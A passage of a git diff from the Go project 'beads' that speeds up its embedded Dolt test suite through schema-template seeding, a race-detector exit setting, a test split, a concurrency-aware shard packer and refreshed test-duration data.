TestEmbeddedInfoSuppressGitHooks -50 37 TestEmbeddedInitB +50 37 TestEmbeddedChangeDirOverridesInheritedBeadsDir +50 37 TestEmbeddedChildren +50 37 TestEmbeddedChildrenConcurrent +50 37 TestEmbeddedCreateCrossRepoDryRunWithParent +50 37 TestEmbeddedCreateStorageClassBatchAndMisc 50 37 TestEmbeddedQueryConcurrent -50 37 TestEmbeddedUndeferConcurrent -50 37 TestEmbeddedUpdateBatchAutoCommitDoesNotAdvanceHead +50 37 TestEmbeddedStaleConcurrent -50 38 TestEmbeddedBlocked -50 38 TestEmbeddedCreateCrossRepoWithParent -50 38 TestEmbeddedEpicConcurrent -50 38 TestEmbeddedHooks -50 38 TestEmbeddedUndefer +50 38 TestEmbeddedCreateDryRunDoesNotMigrate +50 38 TestEmbeddedImportPromotedWispRoundtrip +50 38 TestEmbeddedMaxRowsReady +50 38 TestEmbeddedReady +50 38 TestEmbeddedRenamePrefixBasic +50 38 TestEmbeddedShip +50 38 TestEmbeddedSupersede -50 39 TestEmbeddedBranchConcurrent -50 39 TestEmbeddedCountIncludeInfra -50 39 TestEmbeddedCreateWithGitRemote -50 39 TestEmbeddedDelete -50 39 TestEmbeddedUpdateFields +50 39 TestEmbeddedDeferAutoWake +50 39 TestEmbeddedEpicConcurrent +50 39 TestEmbeddedGateConcurrent +50 39 TestEmbeddedInitC +50 39 TestEmbeddedKV +50 39 TestEmbeddedLint +50 39 TestEmbeddedPromoteCLI -50 40 TestEmbeddedCountConcurrent -50 40 TestEmbeddedCountIncludeEphemeral -50 40 TestEmbeddedCreateFormCommitsLabelOnlyCreate -50 40 TestEmbeddedLabelEditReports -50 40 TestEmbeddedPreviewDoesNotConsumeVersionMarker +50 40 TestEmbeddedCommentsCLI +50 40 TestEmbeddedCommentsCLIConcurrent +50 40 TestEmbeddedDepAndLinkBatchAutoCommitDoesNotAdvanceHead +50 40 TestEmbeddedDiffConcurrent +50 40 TestEmbeddedImportConcurrent +50 40 TestEmbeddedSupersedeConcurrent +50 40 TestEmbeddedTodo -50 41 TestEmbeddedGateCreate -50 41 TestEmbeddedLabelAddRemove -50 41 TestEmbeddedLabelConcurrent -50 41 TestEmbeddedListConcurrent -50 41 TestEmbeddedTypesConcurrent +50 41 TestEmbeddedHistory +50 41 TestEmbeddedInitSelectedExcludeRoutingFork +50 41 TestEmbeddedListSearchAndOutput +50 41 TestEmbeddedPromoteCLIConcurrent +50 41 TestEmbeddedQuick +50 41 TestEmbeddedUndefer -50 42 TestEmbeddedImportFromSources -50 42 TestEmbeddedReadyConcurrent -50 42 TestEmbeddedRenamePrefixEdgeCases -50 42 TestEmbeddedRestore -50 42 TestEmbeddedSquashWispMoleculeClearsRootEphemeral +50 42 TestEmbeddedCountIncludeInfra +50 42 TestEmbeddedDuplicate +50 42 TestEmbeddedEpicCloseEligible +50 42 TestEmbeddedInitExplicitBeadsDirIsAuthoritative +50 42 TestEmbeddedQuietFlagSuppressesSuccessOutput +50 42 TestEmbeddedStatusConcurrent -50 43 TestEmbeddedFindDuplicates -50 43 TestEmbeddedGraph -50 43 TestEmbeddedImportPromotedWispRoundtrip -50 43 TestEmbeddedInfoConcurrent -50 43 TestEmbeddedQuickstartConcurrent +50 43 TestEmbeddedCreateRepoRelativeExistingWorkspaceUnaffected +50 43 TestEmbeddedImportClosedChildWhoseParentWasDeleted +50 43 TestEmbeddedLabelEditReports +50 43 TestEmbeddedShowBasicsAndJSON +50 43 TestEmbeddedState +50 43 TestEmbeddedSwarmConcurrent -50 44 TestEmbeddedDoltRemoteAndPush -50 44 TestEmbeddedGraphConcurrent -50 44 TestEmbeddedImportConcurrent -50 44 TestEmbeddedInitRoleRouting -50 44 TestEmbeddedWhereConcurrent +50 44 TestEmbeddedFindDuplicates +50 44 TestEmbeddedMaxRowsGraph +50 44 TestEmbeddedMemory +50 44 TestEmbeddedShipConcurrent +50 44 TestEmbeddedShowUnresolvableDeps +50 44 TestEmbeddedSquashWispMoleculeClearsRootEphemeral -50 45 TestEmbeddedChildren -50 45 TestEmbeddedCompactConcurrent -50 45 TestEmbeddedMigrateConcurrent -50 45 TestEmbeddedShowDetailAndCurrent -50 45 TestEmbeddedVCStatusAndCommit +50 45 TestEmbeddedCloseGuardsAndEpics +50 45 TestEmbeddedCreateRepoProxiedTargetError +50 45 TestEmbeddedCreateScalarAndRelationships +50 45 TestEmbeddedDuplicates +50 45 TestEmbeddedUndeferConcurrent +50 45 TestEmbeddedUpdateRoutedStoreCommitsTargetHead -50 46 TestEmbeddedCompactMisdatedChild 50 46 TestEmbeddedCount -50 46 TestEmbeddedCreateDryRunDoesNotMigrate -50 46 TestEmbeddedFederationStatus -50 46 TestEmbeddedStaleLabelFilters +50 46 TestEmbeddedDepListSingleIDWarnsOnDroppedExternalEdge +50 46 TestEmbeddedDepNoCycleCheck +50 46 TestEmbeddedEpicStatus +50 46 TestEmbeddedInitHooksRouting +50 46 TestEmbeddedReopen -50 47 TestEmbeddedBootstrap -50 47 TestEmbeddedBranch -50 47 TestEmbeddedContextConcurrent -50 47 TestEmbeddedLint -50 47 TestEmbeddedPurgeConcurrent +50 47 TestEmbeddedDiff +50 47 TestEmbeddedGraph +50 47 TestEmbeddedHuman +50 47 TestEmbeddedMemoryCorpusBudget +50 47 TestEmbeddedPrimeChangeDirDefaultTemplateMatchesTarget +50 47 TestEmbeddedQuickConcurrent +50 47 TestEmbeddedSearchConcurrent -50 48 TestEmbeddedCloseConcurrent -50 48 TestEmbeddedConfig -50 48 TestEmbeddedDepAndLinkBatchAutoCommitDoesNotAdvanceHead -50 48 TestEmbeddedOnboardConcurrent -50 48 TestEmbeddedQuietFlagSuppressesSuccessOutput +50 48 TestEmbeddedCreateDryRunCrossRepoDoesNotMigrateTarget +50 48 TestEmbeddedExportFormats +50 48 TestEmbeddedLabelPropagateRename +50 48 TestEmbeddedMaxRowsDepTreeAndDuplicates +50 48 TestEmbeddedMemoryConcurrent +50 48 TestEmbeddedSearch -50 49 TestEmbeddedDepNoCycleCheck -50 49 TestEmbeddedFederationConcurrent -50 49 TestEmbeddedMemory -50 49 TestEmbeddedOnboard -50 49 TestEmbeddedPurgeFiltered +50 49 TestEmbeddedExplicitHierarchicalParentEdges +50 49 TestEmbeddedInitSelectedExcludeRoutingStealth -50 50 TestEmbeddedAutoImportJSONLSkipsNonEmpty -50 50 TestEmbeddedExportFlags -50 50 TestEmbeddedPurgeBasics -50 50 TestEmbeddedRenamePrefixConcurrent -50 50 TestEmbeddedUnclaim +50 50 TestEmbeddedDeferConcurrent +50 50 TestEmbeddedExternalMutationPolicy +50 50 TestEmbeddedGCConditionalMatcherDecode +50 50 TestEmbeddedPruneSafetyAndScope +50 50 TestEmbeddedStale diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 1be23c9fa..e434e70d3 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1301,12 +1301,16 @@ jobs: # cap per sh_test-like rule ("Having more than 50 shards is indicative of # poor test organization. Please reduce the number of shards." -- a # native analysis-time error, not a style lint); on rbe-west its shards - # ran 83-209s (6.5k shard-seconds, 2026-10-09), so it, not storage or - # //internal/httpclient:httpclient_served_test, is this lane's floor. - # Lowering it needs per-test speedups spread across the suite or - # splitting bd_embedded_test into multiple <=50-shard sh_test rules with - # shard-index-offset plumbing through tools/bazel/go_test_manifest_shard.sh - # and check_shard_coverage.py. On RBE the tier's wall time ~= that floor + # ran 83-209s (6.5k shard-seconds, 2026-10-09) until bdInit seeded each + # workspace from a per-process schema template and the race bd + # subprocesses stopped sleeping 1s at exit (~4.1-4.4k shard-seconds, + # slowest shard ~140-160s, its slowest single tests ~100-130s under + # load), so it, not storage or //internal/httpclient:httpclient_served_test, + # is still this lane's floor. Lowering it further needs per-test speedups + # in its slowest functions; more shards (splitting bd_embedded_test into + # multiple <=50-shard sh_test rules with shard-index-offset plumbing + # through tools/bazel/go_test_manifest_shard.sh and + # check_shard_coverage.py) would not move the slowest single test. On RBE the tier's wall time ~= that floor # + fixed cost (checkout, build, shard dispatch), not ~= # sum(durations)/shard_count the way a CPU-core-bound local sweep is -- # each shard is its own remote action and runs concurrently with every diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index f725268ee..00cf8b088 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -731,6 +731,7 @@ go_test( "duplicates_embedded_test.go", "duplicates_proxied_integration_test.go", "duplicates_test.go", + "embedded_init_template_test.go", "envfile_test.go", "epic_embedded_test.go", "epic_proxied_integration_test.go", @@ -1432,12 +1433,22 @@ sh_test( ":go_srcs", "//:.github/scripts/embedded-cmd-test-shards.txt", "//:.github/scripts/embedded-test-shard.sh", + "//internal/storage/embeddeddolt/cmd:cmd_norace", "@go_sdk//:bin/gofmt", ], env = { "BEADS_TEST_BD_BINARY": "$(rlocationpath :bd)", "BEADS_TEST_EMBEDDED_DOLT": "1", + # bdInit's schema template (embedded_init_template_test.go), migrated + # by a non-race build of the embeddeddolt open tool. + "BEADS_TEST_EMBEDDED_SCHEMA_TOOL": "$(rlocationpath //internal/storage/embeddeddolt/cmd:cmd_norace)", "BEADS_TEST_GOFMT": "$(rlocationpath @go_sdk//:bin/gofmt)", + # The race runtime sleeps 1s before every process exit by default + # (atexit_sleep_ms) so goroutines still running can report a race; + # the bd subprocesses (hundreds per shard, each a few seconds) exit + # through it every time. Races they hit while running still fail + # the command (exit 66) as before. + "GORACE": "atexit_sleep_ms=0", }, shard_count = 50, tags = ["embedded"], diff --git a/cmd/bd/embedded_init_template_test.go b/cmd/bd/embedded_init_template_test.go new file mode 100644 index 000000000..8f57dff16 --- /dev/null +++ b/cmd/bd/embedded_init_template_test.go @@ -0,0 +1,239 @@ +//go:build cgo + +package main + +import ( + "context" + "fmt" + "io/fs" + "os" + "os/exec" + "path/filepath" + "sync" + "testing" + + "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/internal/storage/embeddeddolt" + "github.com/steveyegge/beads/internal/testutil/bazeltest" +) + +// freshInitEnv makes bdInit leave every workspace's schema to its own +// `bd init` instead of seeding it from the per-process schema template +// (seedEmbeddedSchema), to check that a failure does not depend on the seed. +const freshInitEnv = "BEADS_TEST_FRESH_INIT" + +// schemaTemplateDatabase is the template's database directory name; each +// seed is renamed to the workspace's own database name. +const schemaTemplateDatabase = "schematemplate" + +var ( + schemaTemplateOnce sync.Once + schemaTemplateDir string + schemaTemplateErr error +) + +// schemaToolEnv names a non-race build of +// internal/storage/embeddeddolt/cmd (runfiles path) for embeddedSchemaTemplate +// to run instead of migrating in this process, which under -race takes ~20s. +const schemaToolEnv = "BEADS_TEST_EMBEDDED_SCHEMA_TOOL" + +// embeddedSchemaTemplate creates one embedded Dolt database per test process +// with every schema migration applied and nothing else (embeddeddolt.Open on +// an empty directory, as bd init's own open does), under testTempRoot, and +// returns its database directory. +func embeddedSchemaTemplate() (string, error) { + schemaTemplateOnce.Do(func() { + beadsDir, err := testTempDir("bd-schema-template-*") + if err != nil { + schemaTemplateErr = fmt.Errorf("create schema template dir: %w", err) + return + } + if err := migrateSchemaTemplate(beadsDir); err != nil { + schemaTemplateErr = fmt.Errorf("migrate schema template in %s: %w", beadsDir, err) + return + } + schemaTemplateDir = filepath.Join(beadsDir, "embeddeddolt", schemaTemplateDatabase) + }) + return schemaTemplateDir, schemaTemplateErr +} + +func migrateSchemaTemplate(beadsDir string) error { + if os.Getenv(schemaToolEnv) == "" { + store, err := embeddeddolt.Open(context.Background(), beadsDir, schemaTemplateDatabase, "main") + if err != nil { + return err + } + return store.Close() + } + tool, err := bazeltest.RunfileEnv(schemaToolEnv) + if err != nil { + return err + } + out, err := exec.Command(tool, "--dir", beadsDir, "--database", schemaTemplateDatabase).CombinedOutput() + if err != nil { + return fmt.Errorf("%s: %w\n%s", tool, err, out) + } + return nil +} + +// seededInitDatabase returns the embedded database name `bd init --quiet +// ` creates, and false when bdInit should not seed it: an argument +// it does not know (it may pick another mode or location), no --prefix (the +// name then comes from the directory), or BEADS_TEST_FRESH_INIT=1. +func seededInitDatabase(extraArgs []string) (string, bool) { + if os.Getenv(freshInitEnv) == "1" { + return "", false + } + var prefix, database string + for i := 0; i < len(extraArgs); i++ { + switch extraArgs[i] { + case "--prefix", "--database": + if i+1 == len(extraArgs) { + return "", false + } + if extraArgs[i] == "--prefix" { + prefix = extraArgs[i+1] + } else { + database = extraArgs[i+1] + } + i++ + case "--quiet", "--skip-hooks", "--skip-agents", "--non-interactive": + default: + return "", false + } + } + if prefix == "" { + return "", false + } + if database != "" { + return database, true + } + return dbNameFromPrefix(normalizeIssuePrefix(prefix)), true +} + +// seedEmbeddedSchema copies the schema template into dir's .beads as database +// before bd init runs there. bd init then opens a database whose migrations +// are all applied, so it skips the migration chain (one Dolt commit per +// migration: most of an init's cost under -race) and does everything else +// itself: identity, issue prefix, config, hooks, agent files, the git commit. +// Seeded workspaces share the template's migration commits as their history. +func seedEmbeddedSchema(t *testing.T, dir, database string) { + t.Helper() + tmpl, err := embeddedSchemaTemplate() + if err != nil { + t.Fatalf("%v", err) + } + dst := filepath.Join(dir, ".beads", "embeddeddolt", database) + if err := copyTree(tmpl, dst); err != nil { + t.Fatalf("seed embedded schema %s into %s: %v", tmpl, dst, err) + } +} + +// requireSeededEmbeddedInit fails unless bd init kept the seeded database as +// the workspace's embedded database. +func requireSeededEmbeddedInit(t *testing.T, beadsDir, database string) { + t.Helper() + cfg, err := configfile.Load(beadsDir) + if err != nil || cfg == nil { + t.Fatalf("bd init on a seeded schema: load %s/metadata.json: cfg=%v err=%v", beadsDir, cfg, err) + } + if cfg.DoltMode != configfile.DoltModeEmbedded || cfg.DoltDatabase != database { + t.Fatalf("bd init on a seeded schema chose mode %q database %q, want embedded %q; teach seededInitDatabase this case or run with %s=1", + cfg.DoltMode, cfg.DoltDatabase, database, freshInitEnv) + } +} + +// copyTree copies src's tree to dst, keeping file and directory modes. +func copyTree(src, dst string) error { + return filepath.WalkDir(src, func(path string, d fs.DirEntry, err error) error { + if err != nil { + return err + } + rel, err := filepath.Rel(src, path) + if err != nil { + return err + } + target := filepath.Join(dst, rel) + info, err := d.Info() + if err != nil { + return err + } + switch { + case d.IsDir(): + if err := os.MkdirAll(target, 0o700); err != nil { + return err + } + return os.Chmod(target, info.Mode().Perm()|0o700) + case d.Type().IsRegular(): + b, err := os.ReadFile(path) + if err != nil { + return err + } + if err := os.WriteFile(target, b, info.Mode().Perm()); err != nil { + return err + } + return os.Chmod(target, info.Mode().Perm()) + default: + return fmt.Errorf("unexpected file type %s at %s", d.Type(), path) + } + }) +} + +func TestSeededInitDatabase(t *testing.T) { + t.Setenv(freshInitEnv, "") + for _, tt := range []struct { + args []string + want string + ok bool + }{ + {[]string{"--prefix", "gc"}, "gc", true}, + {[]string{"--prefix", "my-proj", "--skip-hooks", "--skip-agents"}, "my_proj", true}, + {[]string{"--prefix", "a.b"}, "a_b", true}, + {[]string{"--database", "shared_db", "--prefix", "alpha"}, "shared_db", true}, + {nil, "", false}, + {[]string{"--prefix"}, "", false}, + {[]string{"--prefix", "gc", "--server"}, "", false}, + {[]string{"--prefix", "gc", "--role", "contributor"}, "", false}, + } { + got, ok := seededInitDatabase(tt.args) + if got != tt.want || ok != tt.ok { + t.Errorf("seededInitDatabase(%q) = %q, %v; want %q, %v", tt.args, got, ok, tt.want, tt.ok) + } + } + t.Setenv(freshInitEnv, "1") + if _, ok := seededInitDatabase([]string{"--prefix", "gc"}); ok { + t.Errorf("seededInitDatabase seeds with %s=1", freshInitEnv) + } +} + +func TestCopyTreeKeepsModes(t *testing.T) { + src, dst := t.TempDir(), filepath.Join(t.TempDir(), "copy") + if err := os.MkdirAll(filepath.Join(src, "noms"), 0o750); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(src, "noms", "manifest"), []byte("m"), 0o600); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(src, "hook"), []byte("#!/bin/sh\n"), 0o755); err != nil { + t.Fatal(err) + } + if err := copyTree(src, dst); err != nil { + t.Fatalf("copyTree: %v", err) + } + if b, err := os.ReadFile(filepath.Join(dst, "noms", "manifest")); err != nil || string(b) != "m" { + t.Fatalf("copied manifest = %q, %v", b, err) + } + for path, want := range map[string]os.FileMode{ + filepath.Join(dst, "noms"): 0o750, + filepath.Join(dst, "noms", "manifest"): 0o600, + filepath.Join(dst, "hook"): 0o755, + } { + info, err := os.Stat(path) + if err != nil { + t.Fatal(err) + } + if info.Mode().Perm() != want { + t.Errorf("%s mode = %v, want %v", path, info.Mode().Perm(), want) + } + } +} diff --git a/cmd/bd/init_embedded_test.go b/cmd/bd/init_embedded_test.go index 0c4963000..891985cd4 100644 --- a/cmd/bd/init_embedded_test.go +++ b/cmd/bd/init_embedded_test.go @@ -189,13 +189,22 @@ func bdRunWithFlockRetry(t *testing.T, bd, dir string, args ...string) ([]byte, // bdInit creates a temp dir with a git repo, runs bd init --quiet with the // given extra args, and returns (dir, beadsDir, combined output). -// Fatals if bd init fails. +// Fatals if bd init fails. bd init runs on a schema already migrated from a +// per-process template (seedEmbeddedSchema) when seededInitDatabase knows the +// arguments. func bdInit(t *testing.T, bd string, extraArgs ...string) (dir, beadsDir string, out string) { t.Helper() dir = t.TempDir() initGitRepoAt(t, dir) + database, seeded := seededInitDatabase(extraArgs) + if seeded { + seedEmbeddedSchema(t, dir, database) + } out = runBDInit(t, bd, dir, extraArgs...) beadsDir = filepath.Join(dir, ".beads") + if seeded { + requireSeededEmbeddedInit(t, beadsDir, database) + } return } @@ -1597,12 +1606,23 @@ func TestEmbeddedInitRoleRouting(t *testing.T) { } } -func TestEmbeddedInitSelectedExcludeRouting(t *testing.T) { +// The selected-exclude routing cases are two top-level tests, not one: each +// case is a full embedded init under -race and they cannot run in parallel +// (t.Setenv), so one function held a whole Bazel shard for ~2 minutes. +func TestEmbeddedInitSelectedExcludeRoutingStealth(t *testing.T) { + testEmbeddedInitSelectedExcludeRouting(t, "stealth_decoy", "stealth_invalid", "quiet_stealth") +} + +func TestEmbeddedInitSelectedExcludeRoutingFork(t *testing.T) { + testEmbeddedInitSelectedExcludeRouting(t, "fork_decoy", "fork_invalid", "quiet_fork", "fork_auto_invalid") +} + +func testEmbeddedInitSelectedExcludeRouting(t *testing.T, names ...string) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt init tests") } bd := buildEmbeddedBD(t) - for _, name := range []string{"stealth_decoy", "stealth_invalid", "fork_decoy", "fork_invalid", "quiet_stealth", "quiet_fork", "fork_auto_invalid"} { + for _, name := range names { t.Run(name, func(t *testing.T) { target, decoy, home := newInitRoleFixture(t) global := filepath.Join(home, ".gitconfig") diff --git a/internal/storage/embeddeddolt/cmd/BUILD.bazel b/internal/storage/embeddeddolt/cmd/BUILD.bazel index 8a9136e0b..840daec1e 100644 --- a/internal/storage/embeddeddolt/cmd/BUILD.bazel +++ b/internal/storage/embeddeddolt/cmd/BUILD.bazel @@ -22,6 +22,24 @@ go_binary( visibility = ["//:__subpackages__"], ) +# The same tool built without the race detector whatever the configuration, +# for //cmd/bd:bd_embedded_test's schema template: run once per shard, it +# migrates an empty database in seconds instead of the ~20s it takes under +# --config=embedded's race. cgo-only, as :cmd. +go_binary( + name = "cmd_norace", + testonly = True, + out = "cmd_norace/schema", + embed = [":cmd_lib"], + race = "off", + tags = ["cgo-only"], + target_compatible_with = select({ + "//tools/bazel:pure": ["@platforms//:incompatible"], + "//conditions:default": [], + }), + visibility = ["//cmd/bd:__pkg__"], +) + # --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/scripts/ci/_embedded_shard_manifest_lib.py b/scripts/ci/_embedded_shard_manifest_lib.py index 2f234d77f..ac80a8db8 100644 --- a/scripts/ci/_embedded_shard_manifest_lib.py +++ b/scripts/ci/_embedded_shard_manifest_lib.py @@ -8,8 +8,8 @@ machinery, generalized so both embedded generators (and any future one) share one implementation instead of two independently-maintained copies. The per-suite scripts own discovery (the test-name regex/glob), the duration-file path and its "seconds_per_init_fallback" semantics, and the manifest header -text; this module owns everything suite-agnostic: pack(), incremental_pack(), -split_blocks()/write_block(), and check_coverage(). +text; this module owns everything suite-agnostic: pack(), pack_concurrent(), +incremental_pack(), split_blocks()/write_block(), and check_coverage(). See gen_proxied_shard_manifest.py's module docstring for the full rationale behind incremental --write (merge-conflict avoidance across unrelated PRs) @@ -32,6 +32,35 @@ def pack(costs, total): return shards, loads +def shard_wall(names, costs, serial, parallelism): + """Estimated wall time of one Go test process running `names`: + top-level tests that do not call t.Parallel (`serial`) run one after + another before the parallel ones, which then share `parallelism` + (-test.parallel) slots, so the parallel group takes at least its longest + test and at least its total spread over the slots.""" + ser = sum(costs[n] for n in names if n in serial) + par = [costs[n] for n in names if n not in serial] + return ser + max(max(par, default=0.0), sum(par) / parallelism) + + +def pack_concurrent(costs, total, serial, parallelism): + """Greedy bin-pack for a Go test process that runs tests concurrently: + longest first, each onto the shard whose estimated wall time + (shard_wall) grows least, ties to the lighter shard. Plain LPT (pack()) + sums durations, which for a -test.parallel binary overstates a shard of + several parallel tests and understates one holding a serial test. + Returns (shards, walls).""" + order = sorted(costs, key=lambda k: (-costs[k], k)) + shards = [[] for _ in range(total)] + walls = [0.0] * total + for name in order: + best = min(range(total), key=lambda i: ( + shard_wall(shards[i] + [name], costs, serial, parallelism), walls[i], i)) + shards[best].append(name) + walls[best] = shard_wall(shards[best], costs, serial, parallelism) + return shards, walls + + def split_blocks(text): """Split a manifest file's text into its per-total_shards blocks. diff --git a/scripts/ci/embedded_cmd_test_durations.json b/scripts/ci/embedded_cmd_test_durations.json index aa935db5c..e5fcfe221 100644 --- a/scripts/ci/embedded_cmd_test_durations.json +++ b/scripts/ci/embedded_cmd_test_durations.json @@ -1,315 +1,290 @@ { "_comment": [ - "Measured locally with `bazel --nohome_rc test --config=embedded", - "//cmd/bd:bd_embedded_test --local_test_jobs=8` alongside the storage-tier", - "and conformance targets below (all four run in the same invocation, the", - "same way bazel.yml's bazel-embedded tier runs its shards concurrently on", - "one host) -- race, `-test.parallel=4`, tag filter `embedded`, run with the", - "real committed 40-shard manifest (.github/scripts/embedded-cmd-test-shards.txt)", - "so every one of the 242 TestEmbedded* functions that existed at capture time", - "ran exactly once (local sandboxed execution only; no remote executor or", - "cache flags were configured for this measurement run).", + "Measured on rbe-west, the lane's own remote executors (instance oss), on", + "2026-10-09: two `bazel test --config=embedded --nocache_test_results", + "//cmd/bd:bd_embedded_test` runs (race, `-test.parallel=4`, 50 shards), so", + "every top-level TestEmbedded* function ran exactly once per run. Each value", + "is the mean of the two runs (the two split", + "TestEmbeddedInitSelectedExcludeRouting{Stealth,Fork} functions ran only in", + "the second). The runs were taken after bdInit started seeding each", + "workspace's embedded database from a per-process schema template", + "(cmd/bd/embedded_init_template_test.go) and the bd subprocesses stopped", + "sleeping 1s at exit (GORACE=atexit_sleep_ms=0 on the target): the sum of", + "test-seconds fell from ~20.2k to ~10.3k on the same executors. Individual", + "tests varied up to ~2x between the two runs with executor load; the sum", + "moved ~4%. The previous capture was local sandboxed execution and", + "correlated only ~0.4 with rbe-west shard times.", "", "Each value is that top-level test's own from Bazel's", - "generated test.xml, NOT the enclosing . For this Go test", - "binary / Bazel version, was found empirically to be a", - "wall-clock-since-binary-start timestamp (it does not isolate a concurrently", - "-run top-level test's own duration under -test.parallel=4), whereas", - " matched the test binary's own `--- PASS: TestX (Ys)` line", - "exactly. Do not switch this capture to without", - "re-verifying that relationship for the toolchain in use at the time.", + "generated test.xml, NOT the enclosing : is a wall-clock-since-binary-start timestamp that does not isolate a", + "concurrently-run top-level test's own duration under -test.parallel=4,", + "while matches the test binary's own `--- PASS: TestX (Ys)`", + "line. Go adds a parallel test's elapsed time to its duration before it", + "waits for a parallel slot, so slot wait is not counted.", "", - "F1 review correction (S1): an earlier pass of this file explained four", - "outliers (TestEmbeddedUpdateConcurrent, TestEmbeddedCloseConcurrent,", - "TestEmbeddedInitA, TestEmbeddedEpicCloseEligibleReason) as a", - "\"queueing-delay\" artifact of Go's t.Parallel() clock starting before a", - "test's parallel slot is granted, and shipped corrected-down weights on", - "that theory. That explanation was WRONG and has been retracted: Go's", - "testing package (testing.go's (*T).Parallel) adds the elapsed time to", - "t.duration BEFORE blocking on the parallel-slot barrier, so queued-for-a-", - "slot wait time is never counted in a test's own reported duration in the", - "first place. The original large numbers were genuine CPU-bound running", - "time under real resource contention (dozens of Bazel shards running", - "concurrently on one host, each internally up to -test.parallel=4) -- this", - "capture re-measures every test under exactly that condition (all 54", - "cmd+storage+conformance shards running together, not solo) instead of", - "mixing solo-measured corrections into a contended-capture baseline.", + "The generator packs these with a model of the shard process", + "(_embedded_shard_manifest_lib.py's pack_concurrent): functions without a", + "top-level t.Parallel() run one after another, before the parallel ones,", + "which share -test.parallel=4 slots.", "", - "Two of those four outliers (TestEmbeddedUpdateConcurrent,", - "TestEmbeddedCloseConcurrent) are synthetic many-worker concurrency stress", - "tests whose cost is dominated by serialized `bd` subprocess invocations", - "behind the embedded engine's single-writer lock, not by -test.parallel", - "contention; their recorded values below are post-fix estimates (measured", - "value x 0.4) after cutting issuesPerWorker from 5 to 2 in both tests (see", - "their doc comments in update_embedded_test.go / close_embedded_test.go) --", - "pending a fresh capture to confirm. TestEmbeddedEpicCloseEligibleReason", - "was split into TestEmbeddedEpicCloseEligibleReasonFlag (3 subtests) and", - "TestEmbeddedEpicCloseEligibleReasonOutput (2 subtests); their recorded", - "values are the measured combined total apportioned 3:2 by subtest count,", - "also pending a fresh capture. TestEmbeddedInitA needed no further action:", - "at ~196s under this consistent methodology it is close to but under the", - "~200s single-test isolation threshold.", + "`seconds_per_init_fallback` is sum(durations) / sum(inits) over every test", + "here (inits: discover_inits_cost()'s t.Run( count proxy), used only for a", + "brand-new test with no entry yet.", "", - "Every test measuring at or above ~200s under this consistent load is", - "pinned alone on its own shard in the generated manifest below (see that", - "file's header); LPT bin-packing does this automatically as long as the", - "weight is accurate, since no combination of lighter tests sums close to", - "a ~200s+ single item without the packer preferring to isolate it.", - "", - "`seconds_per_init_fallback` is the weighted average seconds-per-init over", - "every measured test in this file (sum of all durations / sum of all inits,", - "where inits is discover_inits_cost()'s t.Run( count proxy), used only for a", - "brand-new test with no entry yet (see", - "scripts/ci/gen_embedded_cmd_shard_manifest.py's discover_inits_cost()).", - "", - "As with the proxied tier's duration file, these are a relative weight for", - "LPT bin-packing, not an absolute SLA: within-shard -test.parallel=4", - "overlap, farm noisy-neighbor effects, and future code changes all mean a", - "shard's total packed cost is a planning estimate, not a guarantee." + "These are a relative weight for packing, not an absolute SLA." ], - "seconds_per_init_fallback": 19.4828, + "seconds_per_init_fallback": 9.5837, "tests": { - "TestEmbeddedAdminBlocked": 20.33, - "TestEmbeddedAdminCompactReadOnlyAllowed": 21.99, - "TestEmbeddedAdminCompactTier2Honesty": 25.2, - "TestEmbeddedAutoImportFallback_ConflictSkip_DoesNotClobber": 28.23, - "TestEmbeddedAutoImportFallback_ConflictSkip_EmptyDBImportsAll": 23.63, - "TestEmbeddedAutoImportJSONLConcurrentWriter": 34.41, - "TestEmbeddedAutoImportJSONLNoExplicitCommit": 64.27, - "TestEmbeddedAutoImportJSONLSkipsNonEmpty": 27.53, - "TestEmbeddedBackup": 162.68, - "TestEmbeddedBackupConcurrent": 45.4, - "TestEmbeddedBlocked": 35.34, - "TestEmbeddedBlockedConcurrent": 51.71, - "TestEmbeddedBlockedLabelFilters": 66.12, - "TestEmbeddedBootstrap": 133.62, - "TestEmbeddedBootstrapConcurrent": 23.4, - "TestEmbeddedBranch": 128.64, - "TestEmbeddedBranchConcurrent": 36.84, - "TestEmbeddedChangeDirOverridesInheritedBeadsDir": 62.33, - "TestEmbeddedChildren": 86.18, - "TestEmbeddedChildrenConcurrent": 104.16, - "TestEmbeddedClaimPools": 78.4, - "TestEmbeddedCloseAlreadyClosed": 179.15, - "TestEmbeddedCloseBasic": 158.81, - "TestEmbeddedCloseConcurrent": 129.7, - "TestEmbeddedCloseGuardsAndEpics": 105.86, - "TestEmbeddedComments": 30.42, - "TestEmbeddedCommentsCLI": 89.97, - "TestEmbeddedCommentsCLIConcurrent": 38.85, - "TestEmbeddedCompact": 166.61, - "TestEmbeddedCompactConcurrent": 28.81, - "TestEmbeddedCompactMisdatedChild": 33.71, - "TestEmbeddedConfig": 83.45, - "TestEmbeddedConfigConcurrent": 96.47, - "TestEmbeddedConfigNoWorkspaceStoreFreeCommands": 6.09, - "TestEmbeddedConfigValidateJSONNoWorkspaceWritesStdout": 0.35, - "TestEmbeddedContext": 68.26, - "TestEmbeddedContextConcurrent": 22.8, - "TestEmbeddedContributorCreate": 166.08, - "TestEmbeddedCount": 127.95, - "TestEmbeddedCountConcurrent": 122.44, - "TestEmbeddedCountIncludeEphemeral": 86.31, - "TestEmbeddedCountIncludeInfra": 80.89, - "TestEmbeddedCreateCommitPending": 41.89, - "TestEmbeddedCreateConcurrent": 39.83, - "TestEmbeddedCreateCrossRepo": 44.64, - "TestEmbeddedCreateCrossRepoDryRunWithParent": 62.24, - "TestEmbeddedCreateCrossRepoUninit": 45.69, - "TestEmbeddedCreateCrossRepoWithParent": 80.27, - "TestEmbeddedCreateDryRunCrossRepoDoesNotMigrateTarget": 48.57, - "TestEmbeddedCreateDryRunDoesNotMigrate": 28.63, - "TestEmbeddedCreateDryRunRepoDoesNotInitializeTarget": 24.56, - "TestEmbeddedCreateFormCommitsLabelOnlyCreate": 31.46, - "TestEmbeddedCreateGraphAndBulk": 